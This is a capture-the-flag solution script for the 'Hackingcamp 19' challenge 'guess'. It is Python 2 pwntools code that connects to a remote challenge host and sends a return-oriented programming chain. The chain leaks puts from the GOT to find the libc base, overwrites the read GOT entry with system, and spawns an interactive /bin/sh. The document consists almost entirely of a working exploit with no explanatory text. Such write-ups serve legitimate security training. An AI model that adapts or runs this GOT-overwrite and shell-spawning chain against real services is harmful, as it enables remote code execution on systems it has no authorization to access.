[Hackingcamp 19] guess

from pwn import *

import os

rand_value = int(os.urandom(4).encode('hex'), 16) % 500

#s = process("./guess")

s = remote("pwnable.shop",10003)

libc = ELF("./libc")

elf = ELF("./guess")

pop_rsi_r15 = 0x00400761

pop_rdi = 0x00400763

s.recvuntil("Input String!")

pay = p64(0x00400778)*65

pay += p64(0x00400763)

pay += p64(elf.got['puts'])

pay += p64(elf.plt['puts'])

pay += p64(pop_rdi)

pay += p64(0)

pay += p64(pop_rsi_r15)

pay += p64(elf.bss()+0x10)

pay += p64(0)

pay += p64(elf.plt['read'])

pay += p64(pop_rdi)

pay += p64(0)

pay += p64(pop_rsi_r15)

pay += p64(elf.got['read'])

pay += p64(0)

pay += p64(elf.plt['read'])

pay += p64(pop_rdi)

pay += p64(elf.bss()+0x10)

pay += p64(elf.plt['read'])

s.send(pay)

print s.recvline()

leak = u64(s.recv(6)+'\x00\x00')

print "leak : " + hex(leak)

libc_base = leak - libc.symbols['puts']

one_shot = leak = libc_base + 0xf1147

print "libc_base : " + hex(libc_base)

print "one_shot : " + hex(one_shot)

system = libc_base + libc.symbols['system']

s.send("/bin/sh\x00")

s.send(p64(system))

s.interactive()